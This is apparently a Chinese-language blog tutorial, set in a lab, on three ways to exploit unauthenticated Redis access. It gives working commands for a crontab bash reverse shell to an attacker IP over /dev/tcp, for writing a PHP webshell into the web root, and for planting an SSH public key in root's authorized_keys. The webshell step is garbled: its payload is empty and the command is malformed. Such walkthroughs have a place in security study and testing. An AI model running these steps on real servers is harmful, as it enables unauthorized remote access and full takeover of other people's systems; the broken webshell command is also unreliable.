java|Redis未授权访问的三种利用方式

简介 Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。
漏洞描述 Redis默认情况下会绑定在0.0.0.0:6379,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。
影响版本 通用型漏洞
测试环境 下载官方redis压缩包到虚拟环境内,进行解压根据安装redis教程进行安装,最后解除绑定127.0.0.1,设置成无密码验证,安装apache服务器,开启web服务
漏洞复现 先使用命令redis-cli -h 192.168.137.140 -p 6379进行连接redis服务器,查看敏感信息,key和对应值
【java|Redis未授权访问的三种利用方式】1.使用命令Info查看敏感信息
java|Redis未授权访问的三种利用方式
文章图片

2.使用命令keys *查看key和对应的值
java|Redis未授权访问的三种利用方式
文章图片

因为当前的redis是刚创建的,所以没有东西
然后在查看完敏感信息之后,就开始漏洞利用,主要分为三种方法:
1.利用crontab反弹shell 直接向靶机的Crontab写入任务计划,反弹shell

set x " * * * * * /bin/bash -i >& /dev/tcp/192.168.137.136/6668 0>&1 " config set dir /var/spool/cron/ config set dbfilename root (中间返回error是因为没有使用root权限运行redis的缘故)

java|Redis未授权访问的三种利用方式
文章图片

进行反弹,linux进行监听,但是监听了好大一会都没有监听到,查找文章,发现ubuntu下计划任务反弹shell需要注意两点,一是需要root权限,二是需要书写crontab计划的时候要将/bin/sh软链接到/bin/bash,当然我们也可以不修改软链接,可以直接将反弹shell的语句写入脚本,然后crontab任务定时执行脚本就可以 ln -s -f /bin/bash /bin/sh 设置软链接
但是ubuntu又发现了一个问题,在redis进行写入的时候发现计划中存在乱码,删除乱码
最后等待一分钟就接受到反弹的shell了
2.写入webshell 先通过方法确定web的路径,然后通过类似上面的方法写入webshell
set x " "config set /www/admin/localhost_80/wwwroot/Config set dbfilename shell.php

使用蚁剑或者冰蝎等工具进行连接登录
3.写ssh-keygen公钥登录 先在攻击机上切换到root用户
在攻击机中生成ssh公钥和私钥,密码设置为空
ssh-keygen -t rsa
一路默认就可以
进入/root/.ssh目录下,将生成的公钥存入1.txt
(echo -e ""; cat id_rsa.pub; echo -e "") > 1.txt redis-cli -h 192.168.137.146

更改redis备份路径为ssh公钥存放目录
config set dir /root/.ssh
设置上传公钥的备份文件名字为authorized_keys
config set dbfilename authorized_keys save

然后就可以再攻击机上使用ssh免密码登录靶机
ssh -i id_rsa [ip]
本文章仅供学习使用。由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

    推荐阅读